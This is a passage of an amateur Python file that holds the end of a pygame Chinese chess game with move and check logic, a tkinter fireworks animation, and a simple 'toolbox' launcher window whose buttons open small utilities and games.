            # 所谓的重置游戏，就是将棋盘恢复到默认，走棋方默认的红方
            # 重建新的默认棋子
            self.chessboard.create_chess()
            # 设置走棋方为红方
            self.player = 'r'

        def show(self):
            # 如果一方获胜，那么显示"赢"
            # 通过计时，实现显示一会"将军"之后，就消失
            if self.show_win:
                self.show_win_count += 1
                if self.show_win_count == self.show_win_time:
                    self.show_win_count = 0
                    self.show_win = False
                    self.reset_game()  # 游戏玩过一局之后，重置游戏

            if self.show_win:
                if self.win_player == "b":
                    self.screen.blit(self.win_img, (550, 100))
                else:
                    self.screen.blit(self.win_img, (550, 450))
                return

            # 通过计时，实现显示一会"将军"之后，就消失
            if self.show_attack:
                self.show_attack_count += 1
                if self.show_attack_count == self.show_attack_time:
                    self.show_attack_count = 0
                    self.show_attack = False

            if self.player == "r":
                self.screen.blit(self.player_tips_r_image, self.player_tips_r_image_topleft)
                # 显示"将军"效果
                if self.show_attack:
                    self.screen.blit(self.attack_img, (230, 400))
            else:
                # 显示"将军"效果
                if self.show_attack:
                    self.screen.blit(self.attack_img, (230, 100))
                self.screen.blit(self.player_tips_b_image, self.player_tips_b_image_topleft)

        def set_attack(self):
            """
            标记"将军"效果
            """
            self.show_attack = True

        def set_win(self, win_player):
            """
            设置获胜方
            """
            self.show_win = True
            self.win_player = win_player


    class Dot(object):
        group = list()  # 这个类属性用来存储所有的“可落子对象”的引用

        def __init__(self, screen, row, col):
            """初始化"""
            self.image = pygame.image.load("images/dot2.png")
            self.rect = self.image.get_rect()
            self.rect.topleft = (60 + col * 57, 60 + row * 57)
            self.screen = screen
            self.row = row
            self.col = col

        def show(self):
            """显示一颗棋子"""
            self.screen.blit(self.image, self.rect.topleft)

        @classmethod
        def create_nums_dot(cls, screen, pos_list):
            """批量创建多个对象"""
            for temp in pos_list:
                cls.group.append(cls(screen, *temp))

        @classmethod
        def clean_last_position(cls):
            """
            清除所有可以落子对象
            """
            cls.group.clear()

        @classmethod
        def show_all(cls):
            for temp in cls.group:
                temp.show()

        @classmethod
        def click(cls):
            """
            点击棋子
            """
            for dot in cls.group:
                if pygame.mouse.get_pressed()[0] and dot.rect.collidepoint(pygame.mouse.get_pos()):
                    print("被点击了「可落子」对象")
                    return dot


    class ClickBox(pygame.sprite.Sprite):
        """
        标记类
        """
        singleton = None

        def __new__(cls, *args, **kwargs):
            """通过重写此方法，实现单例"""
            if cls.singleton is None:
                cls.singleton = super().__new__(cls)
            return cls.singleton

        def __init__(self, screen, row, col):
            super().__init__()
            self.screen = screen
            self.image = pygame.image.load("images/r_box.png")
            self.rect = self.image.get_rect()
            self.rect.topleft = (50 + col * 57, 50 + row * 57)
            self.row = row
            self.col = col

        @classmethod
        def show(cls):
            if cls.singleton:
                cls.singleton.screen.blit(cls.singleton.image, cls.singleton.rect)

        @classmethod
        def clean(cls):
            """
            清理上次的对象
            """
            cls.singleton = None


    # class Chess(object):
    class Chess(pygame.sprite.Sprite):
        """
        棋子类
        """

        def __init__(self, screen, chess_name, row, col):
            super().__init__()
            self.screen = screen
            # self.name = chess_name
            self.team = chess_name[0]  # 队伍（红方 r、黑方b）
            self.name = chess_name[2]  # 名字（炮p、马m等
            self.image = pygame.image.load("images/" + chess_name + ".png")
            self.top_left = (50 + col * 57, 50 + row * 57)
            self.rect = self.image.get_rect()
            self.rect.topleft = (50 + col * 57, 50 + row * 57)
            self.row, self.col = row, col

        def show(self):
            # self.screen.blit(self.image, self.top_left)
            self.screen.blit(self.image, self.rect)

        @staticmethod
        # def get_clicked_chess(chessboard):
        def get_clicked_chess(player, chessboard):
            """
            获取被点击的棋子
            """
            for chess in chessboard.get_chess():
                if pygame.mouse.get_pressed()[0] and chess.rect.collidepoint(pygame.mouse.get_pos()):
                    if player == chess.team:
                        print(chess.name + "被点击了")
                        return chess

        def update_position(self, new_row, new_col):
            """
            更新要显示的图片的坐标
            """
            self.row = new_row
            self.col = new_col
            self.rect.topleft = (50 + new_col * 57, 50 + new_row * 57)


    class ChessBoard(object):
        """
        棋盘类
        """

        def __init__(self, screen):
            """初始化"""
            self.screen = screen
            self.image = pygame.image.load("images/bg.png")
            self.topleft = (50, 50)
            self.chessboard_map = None  # 用来存储当前棋盘上的所有棋子对象
            self.create_chess()  # 调用创建棋盘的方法

        def show(self):
            # 显示棋盘
            self.screen.blit(self.image, self.topleft)

        def show_chess(self):
            """显示当前棋盘上的所有棋子"""
            # 显示棋盘上的所有棋子
            for line_chess in self.chessboard_map:
                for chess in line_chess:
                    if chess:
                        chess.show()

        def show_chessboard_and_chess(self):
            """显示棋盘以及当前棋盘上所有的棋子"""
            self.show()
            self.show_chess()

        def create_chess(self):
            """创建默认棋盘上的棋子对象"""
            # 棋子
            self.chessboard_map = [
                ["b_c", "b_m", "b_x", "b_s", "b_j", "b_s", "b_x", "b_m", "b_c"],
                ["", "", "", "", "", "", "", "", ""],
                ["", "b_p", "", "", "", "", "", "b_p", ""],
                ["b_z", "", "b_z", "", "b_z", "", "b_z", "", "b_z"],
                ["", "", "", "", "", "", "", "", ""],
                ["", "", "", "", "", "", "", "", ""],
                ["r_z", "", "r_z", "", "r_z", "", "r_z", "", "r_z"],
                ["", "r_p", "", "", "", "", "", "r_p", ""],
                ["", "", "", "", "", "", "", "", ""],
                ["r_c", "r_m", "r_x", "r_s", "r_j", "r_s", "r_x", "r_m", "r_c"],
            ]
            for row, line in enumerate(self.chessboard_map):
                for col, chess_name in enumerate(line):
                    if chess_name:
                        # 将创建的棋子添加到属性map中
                        self.chessboard_map[row][col] = Chess(self.screen, chess_name, row, col)
                    else:
                        self.chessboard_map[row][col] = None

        def get_chess(self):
            """获取所有的棋盘上的棋子对象列表"""
            return [chess for line in self.chessboard_map for chess in line if chess]

        def get_put_down_postion(self, clicked_chess):
            """获取当前被点击棋子可以落子的位置坐标"""
            put_down_chess_pos = list()
            # put_down_chess_pos.append((clicked_chess.row - 1, clicked_chess.col))
            # put_down_chess_pos.append((clicked_chess.row + 1, clicked_chess.col))
            # put_down_chess_pos.append((clicked_chess.row, clicked_chess.col - 1))
            # put_down_chess_pos.append((clicked_chess.row, clicked_chess.col + 1))
            team = clicked_chess.team
            row = clicked_chess.row
            col = clicked_chess.col
            map_ = self.chessboard_map

            if clicked_chess.name == "z":  # 卒
                if team == "r":  # 红方
                    if row - 1 >= 0:  # 只能向上移动
                        if not map_[row - 1][col] or map_[row - 1][col].team != team:
                            put_down_chess_pos.append((row - 1, col))
                else:  # 黑方
                    if row + 1 <= 9:  # 只能向下移动
                        if not map_[row + 1][col] or map_[row + 1][col].team != team:
                            put_down_chess_pos.append((row + 1, col))
                # 左右判断
                if (team == "r" and 0 <= row <= 4) or (team == "b" and 5 <= row <= 9):  # 左、右一步
                    # 左
                    if col - 1 >= 0 and (not map_[row][col - 1] or map_[row][col - 1].team != team):
                        put_down_chess_pos.append((row, col - 1))
                    # 右
                    if col + 1 <= 8 and (not map_[row][col + 1] or map_[row][col + 1].team != team):
                        put_down_chess_pos.append((row, col + 1))
            elif clicked_chess.name == "j":  # 将
                # 因为"将"是不能过河的，所以要计算出它们可以移动的行的范围
                row_start, row_stop = (0, 2) if team == "b" else (7, 9)
                # 有4个方向的判断
                if row - 1 >= row_start and (not map_[row - 1][col] or map_[row - 1][col].team != team):
                    put_down_chess_pos.append((row - 1, col))
                if row + 1 <= row_stop and (not map_[row + 1][col] or map_[row + 1][col].team != team):
                    put_down_chess_pos.append((row + 1, col))
                if col - 1 >= 3 and (not map_[row][col - 1] or map_[row][col - 1].team != team):
                    put_down_chess_pos.append((row, col - 1))
                if col + 1 <= 5 and (not map_[row][col + 1] or map_[row][col + 1].team != team):
                    put_down_chess_pos.append((row, col + 1))
            elif clicked_chess.name == "s":  # 士
                # 因为士是不能过河的，所以要计算出它们可以移动的行的范围
                row_start, row_stop = (0, 2) if team == "b" else (7, 9)
                if row - 1 >= row_start and col - 1 >= 3 and (not map_[row - 1][col - 1] or map_[row - 1][col - 1].team != team):
                    put_down_chess_pos.append((row - 1, col - 1))
                if row - 1 >= row_start and col + 1 <= 5 and (not map_[row - 1][col + 1] or map_[row - 1][col + 1].team != team):
                    put_down_chess_pos.append((row - 1, col + 1))
                if row + 1 <= row_stop and col - 1 >= 3 and (not map_[row + 1][col - 1] or map_[row + 1][col - 1].team != team):
                    put_down_chess_pos.append((row + 1, col - 1))
                if row + 1 <= row_stop and col + 1 <= 5 and (not map_[row + 1][col + 1] or map_[row + 1][col + 1].team != team):
                    put_down_chess_pos.append((row + 1, col + 1))
            elif clicked_chess.name == "x":  # 象
                # 因为象是不能过河的，所以要计算出它们可以移动的行的范围
                row_start, row_stop = (0, 4) if team == "b" else (5, 9)
                # 有4个方向的判断(没有越界，且没有蹩象腿)
                if row - 2 >= row_start and col - 2 >= 0 and not map_[row - 1][col - 1]:  # 左上
                    if not map_[row - 2][col - 2] or map_[row - 2][col - 2].team != team:
                        put_down_chess_pos.append((row - 2, col - 2))
                if row - 2 >= row_start and col + 2 <= 8 and not map_[row - 1][col + 1]:  # 右上
                    if not map_[row - 2][col + 2] or map_[row - 2][col + 2].team != team:
                        put_down_chess_pos.append((row - 2, col + 2))
                if row + 2 <= row_stop and col - 2 >= 0 and not map_[row + 1][col - 1]:  # 左下
                    if not map_[row + 2][col - 2] or map_[row + 2][col - 2].team != team:
                        put_down_chess_pos.append((row + 2, col - 2))
                if row + 2 <= row_stop and col + 2 <= 8 and not map_[row + 1][col + 1]:  # 右下
                    if not map_[row + 2][col + 2] or map_[row + 2][col + 2].team != team:
                        put_down_chess_pos.append((row + 2, col + 2))
            elif clicked_chess.name == "m":  # 马
                # 需要判断的是4个方向，每个方向对应2个位置
                # 上方
                if row - 1 >= 0 and not map_[row - 1][col]:  # 如果当前棋子没有被蹩马腿，那么再对这个方向的2个位置进行判断
                    # 左上
                    if row - 2 >= 0 and col - 1 >= 0 and (not map_[row - 2][col - 1] or map_[row - 2][col - 1].team != team):
                        put_down_chess_pos.append((row - 2, col - 1))
                    # 右上
                    if row - 2 >= 0 and col + 1 <= 8 and (not map_[row - 2][col + 1] or map_[row - 2][col + 1].team != team):
                        put_down_chess_pos.append((row - 2, col + 1))
                # 下方
                if row + 1 <= 9 and not map_[row + 1][col]:  # 如果当前棋子没有被蹩马腿，那么再对这个方向的2个位置进行判断
                    # 左下
                    if row + 2 >= 0 and col - 1 >= 0 and (not map_[row + 2][col - 1] or map_[row + 2][col - 1].team != team):
                        put_down_chess_pos.append((row + 2, col - 1))
                    # 右下
                    if row + 2 >= 0 and col + 1 <= 8 and (not map_[row + 2][col + 1] or map_[row + 2][col + 1].team != team):
                        put_down_chess_pos.append((row + 2, col + 1))
                # 左方
                if col - 1 >= 0 and not map_[row][col - 1]:  # 如果当前棋子没有被蹩马腿，那么再对这个方向的2个位置进行判断
                    # 左上2（因为有左上了，暂且称为左上2吧）
                    if row - 1 >= 0 and col - 2 >= 0 and (not map_[row - 1][col - 2] or map_[row - 1][col - 2].team != team):
                        put_down_chess_pos.append((row - 1, col - 2))
                    # 左下2
                    if row + 1 <= 9 and col - 2 >= 0 and (not map_[row + 1][col - 2] or map_[row + 1][col - 2].team != team):
                        put_down_chess_pos.append((row + 1, col - 2))
                # 右方
                if col + 1 <= 8 and not map_[row][col + 1]:  # 如果当前棋子没有被蹩马腿，那么再对这个方向的2个位置进行判断
                    # 右上2（因为有右上了，暂且称为右上2吧）
                    if row - 1 >= 0 and col + 2 <= 8 and (not map_[row - 1][col + 2] or map_[row - 1][col + 2].team != team):
                        put_down_chess_pos.append((row - 1, col + 2))
                    # 右下2
                    if row + 1 <= 9 and col + 2 <= 8 and (not map_[row + 1][col + 2] or map_[row + 1][col + 2].team != team):
                        put_down_chess_pos.append((row + 1, col + 2))
            elif clicked_chess.name == "c":  # 车
                # 一行
                left_stop = False
                right_stop = False
                for i in range(1, 9):
                    # 左边位置没有越界且没有遇到任何一个棋子
                    if not left_stop and col - i >= 0:
                        if not map_[row][col - i]:
                            # 如果没有棋子,则将当前位置组成一个元组，添加到列表
                            put_down_chess_pos.append((row, col - i))
                        else:
                            left_stop = True
                            if map_[row][col - i].team != team:
                                # 如果当前位置有棋子，那么就判断是否能够吃掉它
                                put_down_chess_pos.append((row, col - i))
                    # 右边位置没有越界且没有遇到任何一个棋子
                    if not right_stop and col + i <= 8:
                        if not map_[row][col + i]:
                            # 如果没有棋子,则将当前位置组成一个元组，添加到列表
                            put_down_chess_pos.append((row, col + i))
                        else:
                            right_stop = True
                            if map_[row][col + i].team != team:
                                # 如果当前位置有棋子，那么就判断是否能够吃掉它
                                put_down_chess_pos.append((row, col + i))

                # 一列
                up_stop = False
                down_stoop = False
                for i in range(1, 10):
                    # 上边位置没有越界且没有遇到任何一个棋子
                    if not up_stop and row - i >= 0:
                        if not map_[row - i][col]:
                            # 如果没有棋子,则将当前位置组成一个元组，添加到列表
                            put_down_chess_pos.append((row - i, col))
                        else:
                            up_stop = True
                            if map_[row - i][col].team != team:
                                # 如果当前位置有棋子，那么就判断是否能够吃掉它
                                put_down_chess_pos.append((row - i, col))
                    # 下边位置没有越界且没有遇到任何一个棋子
                    if not down_stoop and row + i <= 9:
                        if not map_[row + i][col]:
                            # 如果没有棋子,则将当前位置组成一个元组，添加到列表
                            put_down_chess_pos.append((row + i, col))
                        else:
                            down_stoop = True
                            if map_[row + i][col].team != team:
                                # 如果当前位置有棋子，那么就判断是否能够吃掉它
                                put_down_chess_pos.append((row + i, col))
            elif clicked_chess.name == "p":  # 炮
                # 一行
                direction_left_chess_num = 0
                direction_right_chess_num = 0
                for i in range(1, 9):
                    # 计算当前行中，棋子左边与右边可以落子的位置
                    # 左边位置没有越界
                    if direction_left_chess_num >= 0 and col - i >= 0:
                        if not map_[row][col - i] and direction_left_chess_num == 0:
                            # 如果没有棋子,则将当前位置组成一个元组，添加到列表
                            put_down_chess_pos.append((row, col - i))
                        elif map_[row][col - i]:
                            # 如果当前位置有棋子，那么就判断是否能够吃掉它
                            direction_left_chess_num += 1
                            if direction_left_chess_num == 2 and map_[row][col - i].team != team:
                                put_down_chess_pos.append((row, col - i))
                                direction_left_chess_num = -1  # 让其不能够在下次for循环时再次判断
                    # 右边位置没有越界
                    if direction_right_chess_num >= 0 and col + i <= 8:
                        if not map_[row][col + i] and direction_right_chess_num == 0:
                            # 如果没有棋子,则将当前位置组成一个元组，添加到列表
                            put_down_chess_pos.append((row, col + i))
                        elif map_[row][col + i]:
                            # 如果当前位置有棋子，那么就判断是否能够吃掉它
                            direction_right_chess_num += 1
                            if direction_right_chess_num == 2 and map_[row][col + i].team != team:
                                put_down_chess_pos.append((row, col + i))
                                direction_right_chess_num = -1
                # 一列
                direction_up_chess_num = 0
                direction_down_chess_num = 0
                for i in range(1, 10):  # 这样就让i从1开始，而不是从0
                    # 计算当前列中，棋子上边与下边可以落子的位置
                    # 上边位置没有越界
                    if direction_up_chess_num >= 0 and row - i >= 0:
                        if not map_[row - i][col] and direction_up_chess_num == 0:
                            # 如果没有棋子,则将当前位置组成一个元组，添加到列表
                            put_down_chess_pos.append((row - i, col))
                        elif map_[row - i][col]:
                            # 如果当前位置有棋子，那么就判断是否能够吃掉它
                            direction_up_chess_num += 1
                            if direction_up_chess_num == 2 and map_[row - i][col].team != team:
                                put_down_chess_pos.append((row - i, col))
                                direction_up_chess_num = -1

                    # 下边位置没有越界
                    if direction_down_chess_num >= 0 and row + i <= 9:
                        if not map_[row + i][col] and direction_down_chess_num == 0:
                            # 如果没有棋子,则将当前位置组成一个元组，添加到列表
                            put_down_chess_pos.append((row + i, col))
                        elif map_[row + i][col]:
                            # 如果当前位置有棋子，那么就判断是否能够吃掉它
                            direction_down_chess_num += 1
                            if direction_down_chess_num == 2 and map_[row + i][col].team != team:
                                put_down_chess_pos.append((row + i, col))
                                direction_down_chess_num = -1

            # 剔除哪些被"将军"的位置
            put_down_chess_pos = self.judge_delete_position(put_down_chess_pos, clicked_chess)

            return put_down_chess_pos

        def judge_delete_position(self, all_position, clicked_chess):
            """
            删除被"将军"的位置
            """
            # 定义要删除的列表
            deleting_position = list()

            # 判断这些位置，是否会导致被"将军"，如果是则从列表中删除这个位置
            for row, col in all_position:
                # 1. 备份
                # 备份当前棋子位置
                old_row, old_col = clicked_chess.row, clicked_chess.col
                # 备份要落子的位置的棋子(如果没有，则为None)
                position_chess_backup = self.chessboard_map[row][col]
                # 2. 挪动位置
                # 移动位置
                self.chessboard_map[row][col] = self.chessboard_map[old_row][old_col]
                # 修改棋子的属性
                self.chessboard_map[row][col].update_position(row, col)
                # 清楚之前位置为None
                self.chessboard_map[old_row][old_col] = None
                # 3. 判断对方是否可以发起"将军"
                if self.judge_attack_general("b" if clicked_chess.team == "r" else "r"):
                    deleting_position.append((row, col))
                # 4. 恢复到之前位置
                self.chessboard_map[old_row][old_col] = self.chessboard_map[row][col]
                self.chessboard_map[old_row][old_col].update_position(old_row, old_col)
                self.chessboard_map[row][col] = position_chess_backup

            # 5. 删除不能落子的位置
            all_position = list(set(all_position) - set(deleting_position))

            return all_position

        def move_chess(self, new_row, new_col):
            """
            将棋子移动到指定位置
            """
            # 得到要移动的棋子的位置
            old_row, old_col = ClickBox.singleton.row, ClickBox.singleton.col
            print("旧位置：", old_row, old_col, "新位置：", new_row, new_col)
            # 移动位置
            self.chessboard_map[new_row][new_col] = self.chessboard_map[old_row][old_col]
            # 修改棋子的属性
            self.chessboard_map[new_row][new_col].update_position(new_row, new_col)
            # 清楚之前位置为None
            self.chessboard_map[old_row][old_col] = None

        def get_general_position(self, general_player):
            """
            找到general_player标记的一方的将的位置
            """
            for row, line in enumerate(self.chessboard_map):
                for col, chess in enumerate(line):
                    if chess and chess.team == general_player and chess.name == "j":
                        return chess.row, chess.col

        def judge_j_attack(self, attack_row, attack_col, general_row, general_col):
            """
            判断 两个将是否相对
            """
            if attack_col == general_col:
                # 在同一列
                min_row, max_row = (attack_row, general_row) if attack_row < general_row else (general_row, attack_row)

                chess_num = 0
                for i in range(min_row + 1, max_row):
                    if self.chessboard_map[i][general_col]:
                        chess_num += 1
                if chess_num == 0:
                    return True

        def judge_m_attack(self, attack_row, attack_col, general_row, general_col):
            """
            判断马是否攻击到"将"
            """
            if attack_row == general_row or attack_col == general_col:
                return False
            else:
                # "马走日"，利用这个特点会得出，如果此马能够攻击到"将"，那么两条边的平方和一定是5
                col_length = (attack_col - general_col) ** 2
                row_length = (attack_row - general_row) ** 2
                if col_length + row_length == 5:
                    # 判断是否蹩马腿
                    if col_length == 1:
                        if general_row < attack_row and not self.chessboard_map[attack_row - 1][attack_col]:
                            return True
                        elif general_row > attack_row and not self.chessboard_map[attack_row + 1][attack_col]:
                            return True
                    elif col_length == 4:
                        if general_col < attack_col and not self.chessboard_map[attack_row][attack_col - 1]:
                            return True
                        elif general_col > attack_col and not self.chessboard_map[attack_row][attack_col + 1]:
                            return True

        def judge_c_and_p_attack(self, attack_chess_name, attack_row, attack_col, general_row, general_col):
            """
            判断"车"、"炮"能否攻击到对方"将"
            """
            check_chess_num = 1 if attack_chess_name == "p" else 0
            chess_num = 0
            if attack_row == general_row:
                # 在同一行
                min_col, max_col = (attack_col, general_col) if attack_col < general_col else (general_col, attack_col)
                for i in range(min_col + 1, max_col):
                    if self.chessboard_map[attack_row][i]:
                        chess_num += 1
                if chess_num == check_chess_num:
                    return True
            elif attack_col == general_col:
                # 在同一列
                min_row, max_row = (attack_row, general_row) if attack_row < general_row else (general_row, attack_row)
                for i in range(min_row + 1, max_row):
                    if self.chessboard_map[i][general_col]:
                        chess_num += 1
                if chess_num == check_chess_num:
                    return True

        @staticmethod
        def judge_z_attack(attack_team, attack_row, attack_col, general_row, general_col):
            """
            判断卒是否攻击到"将"
            """
            if attack_team == "r" and attack_row < general_row:
                return False
            elif attack_team == "b" and attack_row > general_row:
                return False
            elif (attack_row - general_row) ** 2 + (attack_col - general_col) ** 2 == 1:
                return True

        def judge_attack_general(self, attact_player):
            """
            判断 attact_player方是否 将对方的军
            """
            # 1. 找到对方"将"的位置
            general_player = "r" if attact_player == "b" else "b"
            general_position = self.get_general_position(general_player)

            # 2. 遍历我方所有的棋子
            for row, line in enumerate(self.chessboard_map):
                for col, chess in enumerate(line):
                    if chess and chess.team == attact_player:
                        if chess.name == "z":  # 兵
                            # 传递5个参数（攻击方的标识，攻击方row，攻击方col，对方将row，对方将col）
                            if self.judge_z_attack(chess.team, chess.row, chess.col, *general_position):
                                return True
                        elif chess.name == "p":  # 炮
                            if self.judge_c_and_p_attack(chess.name, chess.row, chess.col, *general_position):
                                return True
                        elif chess.name == "c":  # 车
                            if self.judge_c_and_p_attack(chess.name, chess.row, chess.col, *general_position):
                                return True
                        elif chess.name == "m":  # 马
                            if self.judge_m_attack(chess.row, chess.col, *general_position):
                                return True
                        elif chess.name == "x":  # 象
                            pass
                        elif chess.name == "s":  # 士
                            pass
                        elif chess.name == "j":  # 将
                            if self.judge_j_attack(chess.row, chess.col, *general_position):
                                return True

        def judge_win(self, attack_player):
            """
            判断是否获胜
            """
            # 依次判断是否被攻击方的所有棋子，是否有阻挡攻击的可能
            for chess_line in self.chessboard_map:
                for chess in chess_line:
                    if chess and chess.team != attack_player:
                        move_position_list = self.get_put_down_postion(chess)
                        if move_position_list:  # 只要找到一个可以移动的位置，就表示没有失败，还是有机会的
                            return False

            return True


    def main():
        # 初始化pygame
        pygame.init()
        # 创建用来显示画面的对象（理解为相框）
        screen = pygame.display.set_mode((750, 667))
        # 游戏背景图片
        background_img = pygame.image.load("images/bg.jpg")
        # 游戏棋盘
        # chessboard_img = pygame.image.load("images/bg.png")
        # 创建棋盘对象
        chessboard = ChessBoard(screen)
        # 创建计时器
        clock = pygame.time.Clock()
        # 创建游戏对象（像当前走棋方、游戏是否结束等都封装到这个对象中）
        game = Game(screen, chessboard)

        # 主循环
        while True:
            # 事件检测（例如点击了键盘、鼠标等）
            for event in pygame.event.get():
                if event.type == pygame.QUIT:
                    pygame.quit()
                    sys.exit()  # 退出程序

                # 如果游戏没有获胜方，则游戏继续，否则一直显示"获胜"
                if not game.show_win:
                    # 检测是否点击了"可落子"对象
                    clicked_dot = Dot.click()
                    if clicked_dot:
                        chessboard.move_chess(clicked_dot.row, clicked_dot.col)
                        # 清理「点击对象」、「可落子位置对象」
                        Dot.clean_last_position()
                        ClickBox.clean()
                        # 检测落子后，是否产生了"将军"功能
                        if chessboard.judge_attack_general(game.get_player()):
                            print("将军....")
                            # 检测对方是否可以挽救棋局，如果能挽救，就显示"将军"，否则显示"胜利"
                            if chessboard.judge_win(game.get_player()):
                                print("获胜...")
                                game.set_win(game.get_player())
                            else:
                                # 如果攻击到对方，则标记显示"将军"效果
                                game.set_attack()
                        # 落子之后，交换走棋方
                        game.exchange()
                        # 退出for，以便不让本次的鼠标点击串联到点击棋子
                        break

                    # 检查是否点击了棋子
                    # clicked_chess = Chess.get_clicked_chess(chessboard)
                    clicked_chess = Chess.get_clicked_chess(game.get_player(), chessboard)
                    if clicked_chess:
                        # 创建选中棋子对象
                        ClickBox(screen, clicked_chess.row, clicked_chess.col)
                        # 清除之前的所有的可以落子对象
                        Dot.clean_last_position()
                        # 计算当前被点击的棋子可以落子的位置
                        put_down_chess_pos = chessboard.get_put_down_postion(clicked_chess)
                        # 根据当前被点击的棋子创建可以落子的对象
                        Dot.create_nums_dot(screen, put_down_chess_pos)

            # 显示游戏背景
            screen.blit(background_img, (0, 0))
            screen.blit(background_img, (0, 270))
            screen.blit(background_img, (0, 540))

            # # 显示棋盘
            # # screen.blit(chessboard_img, (50, 50))
            # chessboard.show()
            #
            # # 显示棋盘上的所有棋子
            # # for line_chess in chessboard_map:
            # for line_chess in chessboard.chessboard_map:
            #     for chess in line_chess:
            #         if chess:
            #             # screen.blit(chess[0], chess[1])
            #             chess.show()

            # 显示棋盘以及棋子
            chessboard.show_chessboard_and_chess()

            # 标记点击的棋子
            ClickBox.show()

            # 显示可以落子的位置图片
            Dot.show_all()

            # 显示游戏相关信息
            game.show()

            # 显示screen这个相框的内容（此时在这个相框中的内容像照片、文字等会显示出来）
            pygame.display.update()

            # FPS（每秒钟显示画面的次数）
            clock.tick(60)  # 通过一定的延时，实现1秒钟能够循环60次


    if __name__ == '__main__':
        main()












def yh():
    Fireworks=[]
    maxFireworks=8
    height,width=600,600

    class firework(object):
        def __init__(self,color,speed,width,height):
            #uid=uuid.uuid1()
            self.radius=random.randint(2,4)  #粒子半径为2~4像素
            self.color=color   #粒子颜色
            self.speed=speed  #speed是1.5-3.5秒
            self.status=0   #在烟花未爆炸的情况下，status=0；爆炸后，status>=1；当status>100时，烟花的生命期终止
            self.nParticle=random.randint(20,30)  #粒子数量
            self.center=[random.randint(0,width-1),random.randint(0,height-1)]   #烟花随机中心坐标
            self.oneParticle=[]    #原始粒子坐标（100%状态时）
            self.rotTheta=random.uniform(0,2*math.pi)  #椭圆平面旋转角

            #椭圆参数方程：x=a*cos(theta),y=b*sin(theta)
            #ellipsePara=[a,b]

            self.ellipsePara=[random.randint(30,40),random.randint(20,30)]   
            theta=2*math.pi/self.nParticle
            for i in range(self.nParticle):
                t=random.uniform(-1.0/16,1.0/16)  #产生一个 [-1/16,1/16) 的随机数
                x,y=self.ellipsePara[0]*math.cos(theta*i+t), self.ellipsePara[1]*math.sin(theta*i+t)    #椭圆参数方程
                xx,yy=x*math.cos(self.rotTheta)-y*math.sin(self.rotTheta),  y*math.cos(self.rotTheta)+x*math.sin(self.rotTheta)     #平面旋转方程
                self.oneParticle.append([xx,yy])
            
            self.curParticle=self.oneParticle[0:]     #当前粒子坐标
            self.thread=threading.Thread(target=self.extend)   #建立线程对象
            

        def extend(self):         #粒子群状态变化函数线程
            for i in range(100):
                self.status+=1    #更新状态标识
                self.curParticle=[[one[0]*self.status/100, one[1]*self.status/100] for one in self.oneParticle]   #更新粒子群坐标
                time.sleep(self.speed/50)
        
        def explode(self):
            self.thread.setDaemon(True)    #把现程设为守护线程
            self.thread.start()          #启动线程
                

        def __repr__(self):
            return ('color:{color}\n'  
                    'speed:{speed}\n'
                    'number of particle: {np}\n'
                    'center:[{cx} , {cy}]\n'
                    'ellipse:a={ea} , b={eb}\n'
                    'particle:\n{p}\n'
                    ).format(color=self.color,speed=self.speed,np=self.nParticle,cx=self.center[0],cy=self.center[1],p=str(self.oneParticle),ea=self.ellipsePara[0],eb=self.ellipsePara[1])


    def colorChange(fire):
        rgb=re.findall(r'(.{2})',fire.color[1:])
        cs=fire.status
        
        f=lambda x,c: hex(int(int(x,16)*(100-c)/30))[2:]    #当粒子寿命到70%时，颜色开始线性衰减
        if cs>70:
            ccr,ccg,ccb=f(rgb[0],cs),f(rgb[1],cs),f(rgb[2],cs)
        else:
            ccr,ccg,ccb=rgb[0],rgb[1],rgb[2]
            
        return '#{0:0>2}{1:0>2}{2:0>2}'.format(ccr,ccg,ccb)



    def appendFirework(n=1):   #递归生成烟花对象
        if n>maxFireworks or len(Fireworks)>maxFireworks:
            pass
        elif n==1:
            cl='#{0:0>6}'.format(hex(int(random.randint(0,16777215)))[2:])   # 产生一个0~16777215（0xFFFFFF）的随机数，作为随机颜色
            a=firework(cl,random.uniform(1.5,3.5),width,height)
            Fireworks.append( {'particle':a,'points':[]} )   #建立粒子显示列表，‘particle’为一个烟花对象，‘points’为每一个粒子显示时的对象变量集
            a.explode()
        else:
            appendFirework()
            appendFirework(n-1)


    def show(c):
        for p in Fireworks:                #每次刷新显示，先把已有的所以粒子全部删除
            for pp in p['points']:
                c.delete(pp)
        
        for p in Fireworks:                #根据每个烟花对象，计算其中每个粒子的显示对象
            oneP=p['particle']
            if oneP.status==100:        #状态标识为100，说明烟花寿命结束
                Fireworks.remove(p)     #移出当前烟花
                appendFirework()           #新增一个烟花
                continue
            else:
                li=[[int(cp[0]*2)+oneP.center[0],int(cp[1]*2)+oneP.center[1]] for cp in oneP.curParticle]       #把中心为原点的椭圆平移到随机圆心坐标上
                color=colorChange(oneP)   #根据烟花当前状态计算当前颜色
                for pp in li:
                    p['points'].append(c.create_oval(pp[0]-oneP.radius,  pp[1]-oneP.radius,  pp[0]+oneP.radius,  pp[1]+oneP.radius,  fill=color))  #绘制烟花每个粒子

        root.after(50, show,c)  #回调，每50ms刷新一次

    if __name__=='__main__':
        appendFirework(maxFireworks)
        
        root = tk.Tk()
        cv = tk.Canvas(root, height=height, width=width)
        cv.create_rectangle(0, 0, width, height, fill="black")

        cv.pack()

        root.after(50, show,cv)
        root.mainloop()





def dier():
    root = tk.Tk()
    win.geometry('500x300')
    win.minsize(500,300) # 最小尺寸

    win.maxsize(500,300) # 最大尺寸
    root.title("工具箱")
    btn = tk.Button(root,text = '我的世界',bg = 'green' , width = 30, height = 1,command = wd)
    btn.pack()
    btn = tk.Button(root,text = '破解视频',bg = 'green' , width = 30, height = 1,command = sp)
    btn.pack()
    btn = tk.Button(root,text = 'pdf转格式',bg = 'green' , width = 30, height = 1,command = pdf)
    btn.pack()
    btn = tk.Button(root,text = 'python库下载',bg = 'green' , width = 30, height = 1,command = py)
    btn.pack()
    btn = tk.Button(root,text = '烟花',bg = 'green' , width = 30, height = 1,command = yh)
    btn.pack()
    root.mainloop()
import sys
import time
import pygame
win = tk.Tk()
win.title("工具箱")
win.geometry('500x300')
win.minsize(500,300) # 最小尺寸

win.maxsize(500,300) # 最大尺寸
import math, random,time
import threading
import tkinter as tk
import re
lb = tk.Label(win,text = "工具箱")
lb.pack()
btn = tk.Button(win,text = '计算器',bg = 'green' , width = 30, height = 1,command = jisuanqi)
btn.pack()
btn = tk.Button(win,text = 'python转exe',bg = 'green' , width = 30, height = 1,command = pytoexe)
btn.pack()
btn = tk.Button(win,text = '飞机大战',bg = 'green' , width = 30, height = 1,command = feiji)
btn.pack()
